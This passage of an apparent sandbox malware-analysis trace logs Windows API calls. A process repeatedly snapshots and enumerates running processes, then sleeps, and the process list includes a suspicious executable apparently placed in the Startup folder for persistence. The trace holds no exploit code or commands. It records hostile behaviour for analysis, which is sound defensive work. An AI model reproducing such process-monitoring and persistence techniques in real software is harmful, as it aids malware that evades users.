dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.203] GetLastError () returned 0x12 [0277.203] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.203] GetLastError () returned 0x12 [0277.203] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.203] GetLastError () returned 0x12 [0277.203] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.203] GetLastError () returned 0x12 [0277.203] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.204] GetLastError () returned 0x12 [0277.204] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.204] GetLastError () returned 0x12 [0277.204] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.204] GetLastError () returned 0x12 [0277.204] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.204] GetLastError () returned 0x12 [0277.204] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.205] GetLastError () returned 0x12 [0277.205] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.205] GetLastError () returned 0x12 [0277.205] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0277.205] GetLastError () returned 0x12 [0277.205] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.206] GetLastError () returned 0x12 [0277.206] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.206] GetLastError () returned 0x12 [0277.206] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.206] GetLastError () returned 0x12 [0277.206] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.206] GetLastError () returned 0x12 [0277.206] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0277.207] GetLastError () returned 0x12 [0277.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0277.207] GetLastError () returned 0x12 [0277.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.207] GetLastError () returned 0x12 [0277.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.207] GetLastError () returned 0x12 [0277.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.208] GetLastError () returned 0x12 [0277.208] Process32NextW (in: hSnapshot=0x37c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0277.208] CloseHandle (hObject=0x37c) returned 1 [0277.208] Sleep (dwMilliseconds=0x1f4) [0277.808] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0277.834] Process32FirstW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.834] GetLastError () returned 0x12 [0277.834] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.835] GetLastError () returned 0x12 [0277.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.835] GetLastError () returned 0x12 [0277.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.835] GetLastError () returned 0x12 [0277.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.835] GetLastError () returned 0x12 [0277.835] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.836] GetLastError () returned 0x12 [0277.836] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.836] GetLastError () returned 0x12 [0277.836] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.836] GetLastError () returned 0x12 [0277.836] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.836] GetLastError () returned 0x12 [0277.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.837] GetLastError () returned 0x12 [0277.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.837] GetLastError () returned 0x12 [0277.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.837] GetLastError () returned 0x12 [0277.837] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.838] GetLastError () returned 0x12 [0277.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.838] GetLastError () returned 0x12 [0277.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.838] GetLastError () returned 0x12 [0277.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.838] GetLastError () returned 0x12 [0277.838] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.839] GetLastError () returned 0x12 [0277.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0277.839] GetLastError () returned 0x12 [0277.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.839] GetLastError () returned 0x12 [0277.839] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.839] GetLastError () returned 0x12 [0277.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.840] GetLastError () returned 0x12 [0277.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.840] GetLastError () returned 0x12 [0277.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0277.840] GetLastError () returned 0x12 [0277.840] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0277.841] GetLastError () returned 0x12 [0277.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.841] GetLastError () returned 0x12 [0277.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.841] GetLastError () returned 0x12 [0277.841] Process32NextW (in: hSnapshot=0x38c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0277.841] CloseHandle (hObject=0x38c) returned 1 [0277.841] Sleep (dwMilliseconds=0x1f4) [0278.370] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0278.371] Process32FirstW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.371] GetLastError () returned 0x12 [0278.372] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.372] GetLastError () returned 0x12 [0278.372] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.372] GetLastError () returned 0x12 [0278.372] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.372] GetLastError () returned 0x12 [0278.372] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.373] GetLastError () returned 0x12 [0278.373] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.373] GetLastError () returned 0x12 [0278.373] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.373] GetLastError () returned 0x12 [0278.373] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.373] GetLastError () returned 0x12 [0278.373] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.374] GetLastError () returned 0x12 [0278.374] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0278.374] GetLastError () returned 0x12 [0278.374] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.374] GetLastError () returned 0x12 [0278.374] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.375] GetLastError () returned 0x12 [0278.375] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.375] GetLastError () returned 0x12 [0278.375] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.375] GetLastError () returned 0x12 [0278.375] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.375] GetLastError () returned 0x12 [0278.375] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.376] GetLastError () returned 0x12 [0278.376] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.376] GetLastError () returned 0x12 [0278.376] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0278.376] GetLastError () returned 0x12 [0278.376] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.376] GetLastError () returned 0x12 [0278.376] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.377] GetLastError () returned 0x12 [0278.377] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.377] GetLastError () returned 0x12 [0278.377] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.377] GetLastError () returned 0x12 [0278.377] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0278.378] GetLastError () returned 0x12 [0278.378] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0278.378] GetLastError () returned 0x12 [0278.378] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.378] GetLastError () returned 0x12 [0278.378] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.378] GetLastError () returned 0x12 [0278.378] Process32NextW (in: hSnapshot=0x310, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0278.379] CloseHandle (hObject=0x310) returned 1 [0278.379] Sleep (dwMilliseconds=0x1f4) Thread: id = 96 os_tid = 0x68c [0271.943] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x21a) returned 0x1c5838 [0271.943] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c63d0 [0271.943] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c [0271.943] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0 